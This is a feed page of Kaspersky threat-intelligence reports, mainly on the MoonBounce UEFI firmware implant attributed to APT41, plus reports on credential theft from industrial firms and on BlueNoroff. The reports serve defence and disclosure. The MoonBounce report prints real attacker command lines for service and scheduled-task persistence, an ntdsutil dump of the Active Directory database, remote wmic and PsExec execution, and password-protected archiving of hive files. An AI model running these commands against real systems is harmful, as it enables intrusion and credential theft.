Subscribe to Kaspersky hírcsatorna Kaspersky
Frissítve: 46 perc 48 másodperc
2022. január 20.

MoonBounce: the dark side of UEFI firmware

What happened?

At the end of 2021, we were made aware of a UEFI firmware-level compromise through logs from our Firmware Scanner, which has been integrated into Kaspersky products since the beginning of 2019. Further analysis has shown that a single component within the inspected firmware’s image was modified by attackers in a way that allowed them to intercept the original execution flow of the machine’s boot sequence and introduce a sophisticated infection chain.

By examining the components of the rogue firmware and other malicious artefacts from the target’s network, we were able to reach the following conclusions:

  • The inspected UEFI firmware was tampered with to embed a malicious code that we dub MoonBounce;
  • Due to its emplacement on SPI flash which is located on the motherboard instead of the hard disk, the implant is capable of persisting in the system across disk formatting or replacement;
  • The purpose of the implant is to facilitate the deployment of user-mode malware that stages execution of further payloads downloaded from the internet;
  • The infection chain itself does not leave any traces on the hard drive, as its components operate in memory only, thus facilitating a fileless attack with a small footprint;
  • We detected other non-UEFI implants in the targeted network that communicated with the same infrastructure which hosted the the stager’s payload;
  • By assessing the combination of the above findings with network infrastructure fingerprints and other TTPs exhibited by the the attackers; to the best of our knowledge the intrusion set in question can be attributed to APT41, a threat actor that’s been widely reported to be Chinese-speaking;

In this report we describe in detail how the MoonBounce implant works, how it is connected to APT41, and what other traces of activity related to Chinese-speaking actors we were able to observe in the compromised network that could indicate a connection to this threat actor and the underlying campaign.

Revisiting the current state of the art in persistent attacks

In the last year, there have been several public accounts on the ongoing trend of UEFI threats. Notable examples include the UEFI bootkit used as part of the FinSpy surveillance toolset that we reported on, the work of our colleagues from ESET on the ESPectre bootkit, and a little-known threat activity that was discovered within government organisations in the Middle East, using a UEFI bootkit of its own (briefly mentioned in our APT trends report Q3 2021 and covered in more detail in a private APT report delivered to customers of our Threat Intelligence Portal).

The common denominator of those three cases is the fact that the UEFI components targeted for infection reside on the ESP (EFI System Partition), a storage space designated for some UEFI components, typically based in the computer’s hard drive or SSD. The most notable elements of the ESP are the Boot Manager and OS loader, both invoked during the machine’s boot sequence and which also happen to be the subject of tampering in the case of the aforementioned bootkits.

While all of the above were seen in use by advanced actors, a different class of bootkits raises even higher concern. This one is made up of implants found in the UEFI firmware within the SPI flash, a non-volatile storage external to the hard drive. Such bootkits are not only stealthier (partially because of limited visibility by security products into this hardware component), but also more difficult to mitigate: flashing a clean firmware image in place of a malicious one can prove to be more difficult than formatting a hard drive and reinstalling an OS, which would typically eliminate ESP level threats.

MoonBounce is notable for being the third publicly revealed case of an implant from the latter class of firmware-based rootkits. Previous cases included LoJax and MosaicRegressor, which we reported on during October 2020. In that sense, MoonBounce marks a particular evolution in this group of threats by presenting a more complicated attack flow in comparison to its predecessors and a higher level of technical competence by its authors, who demonstrate a thorough understanding of the finer details involved in the UEFI boot process.

Our discovery: a sophisticated implant within UEFI firmware

The UEFI implant, which was detected in spring 2021 , was found to have been incorporated by the attackers into the CORE_DXE component of the firmware (also known as the DXE Foundation), which is called early on at the DXE (Driver Execution Environment) phase of the UEFI boot sequence. Among other things, this component is responsible for initializing essential data structures and function interfaces, one of which is the EFI Boot Services Table – a set of pointers to routines that are part of the CORE_DXE image itself and are callable by other DXE drivers in the boot chain.

The source of the infection starts with a set of hooks that intercept the execution of several functions in the EFI Boot Services Table, namely AllocatePool, CreateEventEx and ExitBootServices. Those hooks are used to divert the flow of these functions to malicious shellcode that is appended by the attackers to the CORE_DXE image, which in turn sets up additional hooks in subsequent components of the boot chain, namely the Windows loader.

This multistage chain of hooks facilitates the propagation of malicious code from the CORE_DXE image to other boot components during system startup, allowing the introduction of a malicious driver to the memory address space of the Windows kernel. This driver, which runs during the initial phases of the kernel’s execution, is in charge of deploying user-mode malware by injecting it into an svchost.exe process, once the operating system is up and running. Finally, the user mode malware reaches out to a hardcoded C&C URL (i.e. hxxp://mb.glbaitech[.]com/mboard.dll) and attempts to fetch another stage of the payload to run in memory, which we were not able to retrieve.

The diagram below contains the outline of the stages taken from the moment the hooked Boot Services are called in the context of the DXE Foundation’s execution until the user-mode malware is deployed and run during the Operating System’s execution. The full description of each step in the diagram, along with the analysis of both the MoonBounce driver and user-mode malware can be found in the technical document released alongside this report.

Flow of MoonBounce execution from boot sequence to malware deployment in user space

Note that at the time of writing we lack sufficient evidence to retrace how the UEFI firmware was infected in the first place. The infection itself, however, is assumed to have occurred remotely. While previous UEFI firmware compromises (i.e. LoJax and MosaicRegressor) manifested as additions of DXE drivers to the overall firmware image on the SPI flash, the current case exhibits a much more subtle and stealthy technique where an existing firmware component is modified to alter its behaviour. Notably, particular functions were modified with an inline hook, meaning the replacement of the function prologue with an instruction to divert execution to a function chosen by the attacker. This form of binary instrumentation typically requires the attacker to obtain the original image, then parse and change it to introduce malicious logic. This would be possible for an attacker having ongoing and remote access to the targeted machine.

Other pieces of malware on the radar

In addition to MoonBounce, we found infections across multiple nodes in the same network by a known user-mode malware dubbed ScrambleCross, also known as SideWalk. This is an in-memory implant, implemented as position-independent code, that can communicate to a C2 server in order to exchange information and stage the execution of additional plugins in memory, of which none has been sighted in the wild yet. This malware was thoroughly covered by our colleagues at Trend Micro and ESET, so we will refer the reader to their excellent write-ups to understand its internals better.

The position-independent code constituting ScrambleCross can be loaded in one of two ways, the first being a C++ DLL named StealthVector. It obtains the ScrambleCross shellcode by applying a modified ChaCha20 algorithm on an encrypted blob, which may reside as an additional file on disk or be embedded in the loader itself. We detected both variants of this loader in the network in question.

StealthVector gets loaded through the introduction of a modified benign system DLL, in which the import address table is patched to append the malware’s DLL as a dependency. In one case, we observed such altered wbemcomn.dll (MD5: C3B153347AED27435A18E789D8B67E0A) file, which originally facilitates the functionality of WMI in Windows and was located in the directory %SYSTEM%\wbem. As a consequence, when the WMI service was initiated, the rogue version of this DLL forced the loading of a StealthVector image named wmiwk.dll.

Appended IAT entry to a rogue wbemcomn.dll file which forces the loading of StealthVector upon initiation of the WMI service

The table below specifies all instances of StealthVector that we detected in the targeted network, along with timestamp artefacts that might point to the date of their creation.

Loader Filename Loader MD5 Shellcode Filename C&C Address Compilation Timestamp wbwkem.dll 4D5EB9F6F501B4F6EDF981A3C6C4D6FA compwm.bin dev.kinopoisksu[.]com Friday, 12.06.2020 08:25:02 UTC wkbem.dll E7155C355C90DC113476DDCF765B187D pcomnl.bin Unknown Tuesday, 24.03.2020 09:09:21 UTC wmiwk.dll 899608DE6B59C63B4AE219C3C13502F5 wmipl.dll ns.glbaitech[.]com Saturday, 20.02.2021 06:45:18 UTC c_20344.nls 4EF90CEEF2CC9FF3121B34A9891BB28D – 217.69.10[.]104 Tuesday, 24.03.2020 09:09:21 UTC c_20334.nls CFF2772C44F6F86661AB0A4FFBF86833 – st.kinopoisksu[.]com Tuesday, 24.03.2020 09:09:21 UTC

Another loader that we detected and is commonly used to load ScrambleCross is .NET based, referred to as StealthMutant. It works by decrypting a shellcode BLOB with AES-256 and injecting it to the address space of another process, using the process-hollowing technique. The injected process in every case we observed was msdt.exe (Microsoft Diagnostic Troubleshooting Wizard).

StealthMutant is launched in one of two ways, which were partially described in other reports as well. The first way is by executing a launcher utility with the filename System.Mail.Service.dll (MD5: 5F9020983A61446A77AF1976247C443D) through the command line as a service. This is outlined in the following commands typed by the attackers on one of the compromised systems:

net start "iscsiwmi" sc stop iscsiwmi sc delete iscsiwmi reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "iscsiwmi" /t REG_MULTI_SZ /d "iscsiwmi" /f sc create "iscsiwmi" binPath= "$system32\svchost.exe -k iscsiwmi" type= share start= auto error= ignore DisplayName= "iscsiwmi" SC failure "iscsiwmi" reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description "iscsiwmi" ""iSCSI WMI Classes That Manage Initiators, Ports, Sessions and Connections"" reg add "HKLM\SYSTEM\CurrentControlSet\Services\iscsiwmi\Parameters" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\iscsiwmi\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "$windir\Microsoft.NET\Framework64\v4.0.30319\System.Mail.Service.dll" /f net start "iscsiwmi"

The launching utility in turn uses the .NET InstallUtil.exe application in order to execute the StealthMutant image, which has the filename Microsoft.Service.Watch.targets, and providing it with the encrypted ScrambleCross shellcode as an argument from a file named MstUtil.exe.config. The utility itself is a basic C++ program that achieves the aforementioned goal by issuing the following command line using the WinExec API:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /ConfigFile=MstUtil.exe.config /U C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Service.Watch.targets

The second way to execute StealthMutant is through the creation of a scheduled task via a Windows batch script file named schtask.bat, as outlined below:

@echo off cd /d "%~dp0" copy /Y Microsoft.Service.Watch.targets "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Service.Watch.targets" copy /Y MstUtil.exe.config "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MstUtil.exe.config" schtasks /create /TN "\Microsoft\Windows\UNP\UNPRefreshListTask" /SC ONSTART /TR "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /ConfigFile=MstUtil.exe.config /U C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Service.Watch.targets" /F /DELAY 0000:02 /RU SYSTEM /RL HIGHEST schtasks /run /TN "\Microsoft\Windows\UNP\UNPRefreshListTask"

The following table lists known StealthMutant loader IOCs, together with their corresponding ScrambleCross shellcode files and contacted C2 addresses. It’s worth noting that most of the ScrambleCross shellcodes (loaded by both StealthMutant and StealthVector) reached out to the same server (i.e. ns.glbaitech[.]com) and that StealthMutant was observed in this campaign only from February, 2021.

Loader MD5 C&C Address Compilation Timestamp 0603C8AAECBDC523CBD3495E93AFB20C 92.38.178[.]246 Tuesday, 23.03.2021 08:00:44 UTC ns.glbaitech[.]com 8C7598061D1E8741B8389A80BFD8B8F5 ns.glbaitech[.]com Saturday, 20.02.2021 03:27:42 UTC F9F9D6FB3CB94B1CDF9E437141B59E16 ns.glbaitech[.]com Wednesday, 08.12.2021 07:07:28 UTC

In addition to the above components, we found other stagers and post-exploitation malware implants during our research, some of which were attributed to or have been used by known Chinese-speaking threat actors:

  • Microcin: a backdoor typically used by the SixLittleMonkeys threat actor, which we have been tracking since 2016. It is worth noting that since its inception, the SixLittleMonkeys group has been using Microcin against various targets, partly against high-profile entities based in Russia and Central Asia.
    The implants we observed in this campaign are shipped as DLLs that ought to run in the context of exe, with the primary intent of reading a C2 address from an encrypted configuration file stored in %WINDIR%\debug\netlogon.cfg and reaching out to the server to obtain a further payload. Interestingly, the Trojan holds a scheduling algorithm that would skip any work on Saturdays, checking the local time every hour to determine if Saturday has passed.
  • Mimikat_ssp: a publicly available post-exploitation tool used to dump credentials and security secrets from exe, also used widely by various Chinese-speaking actors (e.g. GhostEmperor, which we reported on).
  • Go implant: a formerly unknown backdoor used to contact a C2 server using a RESTful API, where a combination of a hardcoded IP address and a hypermedia directory path on the underlying server are used for information exchange. Both the IP and the server directory path are encrypted with AES-128 using a base64 encoded key stored in the backdoor’s image. The IP and directory path tuple are used during execution for:
    • Initialising communications with the server;
    • Sending information from the infected host;
    • Requesting a specific server path containing a command for execution and downloading it;
    • Sending back the result of the command’s execution to the C2 server.

    The commands retrieved from the server are also encrypted with AES-128, with the key stored in the command’s file itself. Command execution results are then encrypted using the same key. We found the following list of supported commands:

    • Get list of drives;
    • Get content list from a specified directory;
    • Download a file from the C2 server;
    • Write text to a given *.bat file and execute it;
    • Run a shell command.

It is important to note that we could not conclusively tie most of those additional pieces of malware to the intrusion set related to MoonBounce, with the exception of Microcin, where some timeline artefacts coincide with other events related to ScrambleCross, as outlined in the figure below. This suggests a low-confidence connection between Microcin and MoonBounce and may indicate usage of shared resources between SixLittleMonkeys and APT41 or involvement of the former’s operators in the MoonBounce activity.

Timeline of events related to artefacts found in the network containing the MoonBounce-infected machine

Who were the targets?

Currently, our detections indicate a very targeted nature of the attack – the presence of the firmware rootkit was detected in a single case. Other affiliated malicious samples (e.g. ScrambleCross and its loaders) were found on multiple other machines in the same network range. In addition, we found several other victims of an undetermined nature with the same versions of ScrambleCross reaching out to the same command and control infrastructure. One particular target corresponds to an organization in control of several enterprises dealing with transport technology.

What were the attackers trying to achieve?

We traced some of the commands executed by the attackers after gaining a foothold in the network, which point to lateral movement and exfiltration of information from particular machines. This aligns in profile with some of the previous operations by APT41, wherein intrusions were typically made to intervene in the targeted companies’ supply chain, or to heist sensitive intellectual property and personally identifiable information. The usage of the UEFI implant in particular indicates the actor’s aim to establish a longstanding foothold within the network, as would be expected in an ongoing espionage activity.

The following are examples of command lines that portray some of the methods and actions taken by the operators of this threat activity to achieve their goals:

  • Attempts to enumerate hosts and gather network information:
    cmd /C "C: & cd \ & whoami" cmd /C "C: & cd \ & net view" cmd /C "C: & cd \ & -setcp 866" cmd /C "C: & cd \ & net view" cmd /C "C: & cd \ & netstat -ano" cmd /C "C: & cd \ & dir $temp\ /od" cmd /C "C: & cd \ & arp -a" cmd /C "C: & cd \ & tasklist" cmd /C "C: & cd \ & tracert <redacted_internal_ip>" cmd /C "C: & cd \ & net use \\<redacted_internal_ip> /u:<redacted_username> <redacted_password>" cmd /C "C: & cd \ & net view \\<redacted_internal_ip>" cmd /C "C: & cd \ & ping -n 1 -a <redacted_internal_ip>" cmd /C "C: & cd \ & net use * /d /y" cmd /C "C: & cd \ & systeminfo"
  • Copying of files across SMB shares, followed by an attempt to dump the Active Directory domain database (tid):
    cmd /C "C: & cd \ & echo ntdsutil \"ac i ntds\" \"ifm\" \"create full $temp\1\\\" q q >$temp\a.bat cmd /C "C: & cd \ & type $temp\a.bat cmd /C "C: & cd \ & move $temp\a.bat \\<redacted_internal_ip>\c$\windows\temp\\
  • Usage of the Sysinternals Psexec tool for remote command execution in the network (as the renamed version tmp):
    $temp\TS_P61S.tmp -accepteula -d -s \\<redacted_internal_ip1>\ cmd /c "arp -a >$temp\TS_P34H.tmp" $temp\TS_P61S.tmp -accepteula -d -s \\<redacted_internal_ip2>\ cmd /c "ping <redacted_internal_ip2> -a -n 2>$temp\TS_P34H.tmp" $temp\TS_P61S.tmp -accepteula -d -s \\<redacted_internal_ip3>\ cmd /c "ping -n 2 -a <redacted_internal_ip2>>$temp\TS_P34H.tmp"
  • Usage of WMI for remote command execution:
    wmic /node:<redacted_internal_ip1> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c ping -n 1 -a <redacted_internal_ip4> >$temp\a.tmp wmic /node:<redacted_internal_ip2> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c netstat -ano >$temp\a.tmp wmic /node:<redacted_internal_ip2> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c tracert <redacted_internal_ip4>>$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c ipconfig /all >$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c qwinsta >$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c net user administrator >$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user> /password:<readcted_password> process call create "cmd /c net user admin >$temp\a.tmp
  • Removal of artefacts from the system:
    cmd /C "C: & cd \ & dir $temp\ /od" cmd /C "C: & cd \ & dir $temp\*.hive" cmd /C "C: & cd \ & del $temp\*.hive" cmd /C "C: & cd \ & dir $temp\*.log" cmd /C "C: & cd \ & type $temp\silconfig.log"
  • File archiving of remotely collected files, some of which contain *.hive files, possibly for LSA secrets dumping, with the exe command line utility:
    cmd /C "C: & cd \ & $temp\rar.exe a -r wef.rar \\<redacted_internal_ip1>\c$\windows\temp\1 -hp2wsxcde34rfv7788." c:\windows\temp\rar.exe a -r c:\windows\temp\873.rar \\<redacted_internal_ip2>\c$\windows\temp\*.hive -hp5tgbnhy67ujm3256
Network infrastructure

The main cluster of infrastructure serving the activity of the UEFI implant and ScrambleCross implants is outlined in the table below. Note that the attackers maintained the infrastructure from at least March 2020, with some servers seemingly still active at the end of 2021 . During the time the actor switched between multiple hosting providers, resulting in a scattered infrastructure across several ASNs.

Domain IP ASN mb.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN ns.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN 172.107.231[.]236 AS40676 dev.kinopoisksu[.]com 172.107.231[.]236 AS40676 193.29.57[.]161 AS48314 – IP-PROJECTS st.kinopoisksu[.]com 136.244.100[.]127 AS20473 – AS-CHOOPA – 217.69.10[.]104 AS20473 – AS-CHOOPA – 92.38.178[.]246 AS202422 – GHOST

A careful inspection of the infrastructure shows multiple connections between the servers. It is evident that MoonBounce’s user-mode stager and a few ScrambleCross instances reached out to a single domain, which resolved to the same IP at one point. In addition, there were several overlaps in IPs to which the domains resolved as outlined in the figure below, including one IP that was used to park two domains at different points in time.

Connections between infrastructure elements of MoonBounce and ScrambleCross implants found on the same network

Another important commonality is a unique self-signed SSL certificate, exhibited by multiple servers in this campaign (and only a few dozen others in the wild), which represents a noteworthy fingerprint of the attacker’s network activity.

In addition to the above cluster, we detected two servers related to Microcin’s activity on the same network:

Domain IP ASN m.necemarket[.]com 172.105.94[.]67 AS63949 – LINODE holdmem.dbhubspi[.]com 5.188.93[.]132 AS202422 – G-Core Labs Who is behind the MoonBounce attack?

To the best of our knowledge, the activity described in this report can be attributed to a group widely known as APT41, or an actor closely affiliated to it, with medium to high confidence. In part, our findings align with multiple public accounts from the previous year of either APT41 or other threat actors, namely Earth Baku and SparklingGoblin, which are believed to be alternative names for APT41 or share significant resources and TTPs with it.

Our conclusion, in particular, is done based on the following factors:

  • The loading schemes for ScrambleCross, including the usage of StealthVector and StealthMutant in the infection chain, are identical to those observed leveraged by Earth Baku and SparklingGoblin. Apart from the loaders themselves, their launchers seem identical. The attackers used the unique TTP of initiating the loader execution through exe in all cases observed by us. Particularly Install.bat, as used by Earth Baku and described in the public report by Trend Micro mentioned earlier, is highly similar to the sequence of commands used to execute the InstallUtil launcher in our case.
  • The ScrambleCross malware itself, which has been reported in use with both Earth Baku and SparklingGoblin, is considered a variant of CROSSWALK, a piece of malware that was described originally by Mandiant as an APT41 tool and remains distinct to the group, to the best of our knowledge.
  • A unique certificate retrieved from multiple ScrambleCross C2 servers in the campaign described in this report was sent as a response in a few other dozen servers in the wild, a few of them have been previously reported by the FBI as being part of an APT41-owned infrastructure.

Additionally, the following observations are worth mentioning:

  • The user-mode malware stager deployed by the UEFI implant contains a scheduling logic that is somewhat similar to one seen in Microcin samples (some of which were also found on infected hosts in this campaign). This suggests that these groups may be related through shared resources or a prime contractor.

    The said scheduling algorithm found in the stager can take a 672-bit bitmask to determine when the malware should start beaconing the C2 server in an attempt to retrieve the payload, whereby the scheduled working time can be decided in a granularity of 15-minute slots (i.e. the stager checks if it is supposed to run in a particular slot out of the 672 possibilities that constitute a full week, or alternatively sleep for 10 seconds before checking if it has reached a dedicated working slot again). A similar scheduling methodology occurs in the case of Microcin, but with a bitmask that simply represents the days of the week on which the malware ought to be active.

    Scheduling code used in MoonBounce’s user-mode stager

  • The Mimikat_ssp tool found on a few machines in the targeted network has been seen in use by multiple Chinese-speaking threat actors in the past. One recent example is its use in the campaigns of GhostEmperor, as described in a previous report.
  • Some elements of shellcode leveraged in MoonBounce were spotted in an old rootkit that was part of a malicious framework dubbed xTalker, which has been seen in the wild since at least 2013, alongside several malware families affiliated to known actors, e.g. NetTraveler, Enfal and Microcin. It was prominently used against Russian-speaking targets including military, governmental entities and think-tanks.

    Both components shared a similar name-hashing algorithm, which is outlined below, along with unique corresponding function name hashes (e.g. 0x311B83F, the name hash of ExAllocatePool) that were not seen in use elsewhere in the wild.

    Name-hashing algorithm used identically in both MoonBounce and xTalker’s rootkit

    In addition, both pieces of code used a technique of replacing magic marker values within shellcode buffers with pointer addresses during runtime. MoonBounce’s code used the marker 0x1122334455667788, while the xTalker rootkit’s code used 0x1234567812345678.

    Magic marker values replaced during execution within shellcodes in xTalker’s rootkit and MoonBounce

    In the case of xTalker, the above code elements were found within shellcode intended to be staged through an MBR bootkit. However, it is not clear to what extent it was actually used. This may suggest that the MoonBounce and xTalker codes were authored by the same, or a closely affiliated, developer.


In September 2020, the US Department of Justice released a series of indictments against members of the APT41 group, charging them with a high number of computer intrusions against a variety of targets, both in the private and public sectors, some of which included high-profile supply chain attacks. The intrusion set described in this report, and in other public accounts we referred to, shows that the group did not cease to be active despite these legal proceedings.

Moreover, it is evident that the group maintains a high level of proficiency and sophistication in the development of its toolset, gaining a foothold in new areas like UEFI firmware. In this sense, the group has introduced its own innovation to this landscape – patching an existing benign core component in the firmware (rather than adding a new driver to it), thereby turning the UEFI firmware into a highly stealthy and persistent storage for malware in the system.

Following previous predictions, we can now say that UEFI threats are gradually becoming a norm. With this in mind, vendors are taking more precautions to mitigate attacks like MoonBounce, for example by enabling Secure Boot by default. We assess that, in this ongoing arms race, attacks against UEFI will continue to proliferate, with attackers evolving and finding ways to exploit and bypass current security measures.

As a safety measure against this attack and similar ones, it is recommended to update the UEFI firmware regularly and verify that BootGuard, where applicable, is enabled. Likewise, enabling Trust Platform Modules, in case a corresponding hardware is supported on the machine, is also advisable. On top of all, a security product that has visibility into the firmware images should add an extra layer of security, alerting the user on a potential compromise if such occurs.

MoonBounce’ indicators of compromise

EFI Rootkit – Malicious CORE_DXE

Modified WMI DLL Launcher


InstallUtil Launcher



Go Implant


xTalker Rootkit

Domains and IPs
mb.glbaitech[.]com – MoonBounce
ns.glbaitech[.]com – ScrambleCross
dev.kinopoisksu[.]com – ScrambleCross
st.kinopoisksu[.]com – ScrambleCross
188.166.61[.]146  – ScrambleCross
172.107.231[.]236 – ScrambleCross
193.29.57[.]161 – ScrambleCross
136.244.100[.]127 – ScrambleCross
217.69.10[.]104 – ScrambleCross
92.38.178[.]246 – ScrambleCross
m.necemarket[.]com – Microcin
172.105.94[.]67 – Microcin
holdmem.dbhubspi[.]com – Microcin
5.188.93[.]132 – Go malware
5.189.222[.]33 – Go malware
5.183.103[.]122 – Go malware
5.188.108[.]228 – Go malware
45.128.132[.]6 – Go malware
92.223.105[.]246 – Go malware
5.183.101[.]21 – Go malware
5.183.101[.]114 – Go malware
45.128.135[.]15 – Go malware
5.188.108[.]22 – Go malware
70.34.201[.]16 – Go malware

File Names
wbwkem.dll – StealthVector
wkbem.dll – StealthVector
wmiwk.dll – StealthVector
C_20344.nls – StealthVector
C_20334.nls – StealthVector
compwm.bin – ScrambleCross Shellcode
pcomnl.bin – ScrambleCross Shellcode
wmipl.dll – ScrambleCross encrypted shellcode
Microsoft.Service.Watch.targets – StealthMutant
MstUtil.exe.config – ScrambleCross encrypted shellcode
System.Mail.Service.dll – InstallUtil launcher for StealthMutant
schtask.bat – Batch launcher for StealthMutant
CmluaApi.dll – Microcin

ScrambleCross Mutexes

2022. január 19.

Campaigns abusing corporate trusted infrastructure hunt for corporate credentials on ICS networks

Main facts
  • Kaspersky ICS CERT has uncovered a number of spyware campaigns targeting industrial enterprises. Operators of these campaigns hunt for corporate credentials, aiming to commit financial fraud or to sell them to other malicious actors.
  • Spearphishing emails with malicious attachments sent from compromised corporate mailboxes to their contacts.
  • The attackers use off-the-shelf spyware, but limit the scope and lifetime of each sample to the bare minimum
  • SMTP services of industrial enterprises are abused not only to send spearphishing emails but also to collect data stolen by spyware as a one-way C2.
  • Up to 45 % of all computers attacked appear to be ICS-related (and having access to the corporate email service).
  • Overall, we have identified over 2,000 corporate email accounts belonging to industrial companies stolen and abused as next-attack C2.
  • Many more (over 7K in our estimation) have been stolen and sold on the web or abused in other ways.
“Anomalous” spyware attacks

In 2021, Kaspersky ICS CERT experts noticed a curious anomaly in statistics on spyware threats blocked on ICS computers. Although the malware used in these attacks belongs to well-known commodity spyware families (such as AgentTesla/Origin Logger, HawkEye, Noon/Formbook, Masslogger, Snake Keylogger, Azorult, Lokibot, etc), these attacks stand out from the mainstream due to a very limited number of targets in each attack and a very short lifetime of each malicious sample, as shown in the red rectangle on the chart below.

Spyware samples blocked on ICS computers in H1 2021, by number of machines (targets) and number of days passed since first seen

The lifespan of the “anomalous” attacks is limited to about 25 days. And at the same time, the number of attacked computers is less than 100, of which 40-45% are ICS machines, while the rest are part of the same organizations’ IT infrastructure.

This has become a trend: around 21.2% of all spyware samples blocked on ICS computers worldwide in H1 2021 were part of this new limited-scope short-lifetime attack series and, depending on the region, up to one-sixth of all computers attacked with spyware were hit using this tactic.

C2 infrastructure

Unlike generic spyware, the majority of “anomalous” samples were configured to use SMTP-based (rather than FTP or HTTP(s)) C2s as a one-way communication channel, which means that was planned solely for theft.

Distribution of spyware samples by C2 type, “anomalous” vs. generic (download)

Tactics, techniques, and procedures

We believe that initially stolen data is used by threat operators primarily to spread the attack inside the local network of the attacked organization (via phishing emails) and to attack other organizations in order to collect more credentials.

The attackers use corporate mailboxes compromised in earlier attacks as the C2 servers for new attacks.

Amongst attacks of this kind, we’ve noticed a large set of campaigns that spread from one industrial enterprise to another via hard-to-detect phishing emails disguised as the victim organizations’ correspondence and abusing their corporate email systems to attack through the contact lists of compromised mailboxes.

Credential collection and abuse by threat actors

Curiously, corporate antispam technologies help the attackers stay unnoticed while exfiltrating stolen credentials from infected machines by making them ‘invisible’ among all the garbage emails in spam folders.

Overall, we have identified over 2,000 corporate email accounts belonging to industrial companies abused as next-attack C2 servers as a result of malicious operations of this type. Many more (over 7K in our estimation) have been stolen and sold on the web or abused in other ways.

Malware operators

Most of the attacks are operated independently by low-skilled individuals and small groups. The majority are aimed at directly committing financial crimes. But some hunt for credentials used to access corporate network services (SMTP, SSH, RDP, VPN, etc.), to sell them in web marketplaces.


In this research, we identified over 25 different marketplaces where data stolen in the credential gathering campaigns targeting industrial companies that we investigated was being sold. At these markets, various sellers offer thousands of RDP, SMTP, SSH, cPanel, and email accounts, as well as malware, fraud schemes, and samples of emails and webpages for social engineering.

A statistical analysis of metadata for over 50,000 compromised RDP accounts sold in marketplaces shows that 1,954 accounts (3.9%) belong to industrial companies.

Compromised RDP accounts sold in marketplaces by types (download)

There are many ways in which this data can be abused, including by the more devastating actors, such as ransomware gangs and APT groups. As an analysis of web marketplaces shows, the demand is highest for credentials that provide access to internal systems of enterprises. And the supply seems to be meeting the demand, as we counted almost 2,000 RDP accounts for industrial enterprises being sold in marketplaces during the analysis period.

More information is available on the Kaspersky ICS CERT website.


We recommend taking the following measures to ensure adequate protection of an industrial enterprise, its partner network operations, and business:

  • Consider implementing two-factor authentication for corporate email access and other internet-facing services (including RDP, VPN-SSL gateways, etc.) that could be used by an attacker to gain access to your company’s internal infrastructure and business-critical data.
  • Make sure that all the endpoints, both on IT and OT networks, are protected with a modern endpoint security solution that is properly configured and is kept up-to-date.
  • Regularly train your personnel to handle their incoming emails securely and to protect their systems from malware that email attachments may contain
  • Regularly check spam folders instead of just emptying them
  • Monitor the exposure of your organization’s accounts to the web
  • Consider using sandbox solutions designed to automatically test attachments in inbound email traffic; make sure your sandbox solution is configured not to skip emails from “trusted” sources, including partner and contact organizations. No one is 100% protected from a compromise.
  • Test attachments in outbound emails, as well. This could give you a chance to realize you’re compromised.
2022. január 13.

The BlueNoroff cryptocurrency hunt is still on

BlueNoroff is the name of an APT group coined by Kaspersky researchers while investigating the notorious attack on Bangladesh’s Central Bank back in 2016. A mysterious group with links to Lazarus and an unusual financial motivation for an APT. The group seems to work more like a unit within a larger formation of Lazarus attackers, with the ability to tap into its vast resources: be it malware implants, exploits, or infrastructure. See our earlier publication about BlueNoroff attacks on the banking sector.

Also, we have previously reported on cryptocurrency-focused BlueNoroff attacks. It appears that BlueNoroff shifted focus from hitting banks and SWIFT-connected servers to solely cryptocurrency businesses as the main source of the group’s illegal income. These attackers even took the long route of building fake cryptocurrency software development companies in order to trick their victims into installing legitimate-looking applications that eventually receive backdoored updates. We reported about the first variant of such software back in 2018, but there were many other samples to be found, which was later reported by the US CISA (Cybersecurity and Infrastructure Security Agency) in 2021.

The group is currently active (recent activity was spotted in November 2021).

The latest BlueNoroff’s infection vector

If there’s one thing BlueNoroff has been very good at, it’s the abuse of trust. Be it an internal bank server communicating with SWIFT infrastructure to issue fraudulent transactions, cryptocurrency exchange software installing an update with a backdoor to compromise its own user, or other means. Throughout its SnatchCrypto campaign, BlueNoroff abused trust in business communications: both internal chats between colleagues and interaction with external entities.

According to our research this year, we have seen BlueNoroff operators stalking and studying successful cryptocurrency startups. The goal of the infiltration team is to build a map of interactions between individuals and understand possible topics of interest. This lets them mount high-quality social engineering attacks that look like totally normal interactions. A document sent from one colleague to another on a topic, which is currently being discussed, is unlikely to trigger any suspicion. BlueNoroff compromises companies through precise identification of the necessary people and the topics they are discussing at a given time.

In a simple scenario, it can appear as a notification of a shared document via Google Drive from one colleague/friend to another:

Note the tiny “X” image – it’s an icon for an image that failed to load. We opened the email on an offline system; if the system had been connected to the internet, there would be a real icon for a Google document loaded from a third-party tracking server that immediately notifies the attacker that the target opened the email.

But we also observed a slightly more elaborate approach of an email being forwarded from one colleague to another. This works even better for the attacker, because the original email and the attachment appear to have already been checked by the forwarding party. Ultimately, it elevates the level of trust sufficiently for the document to be opened.

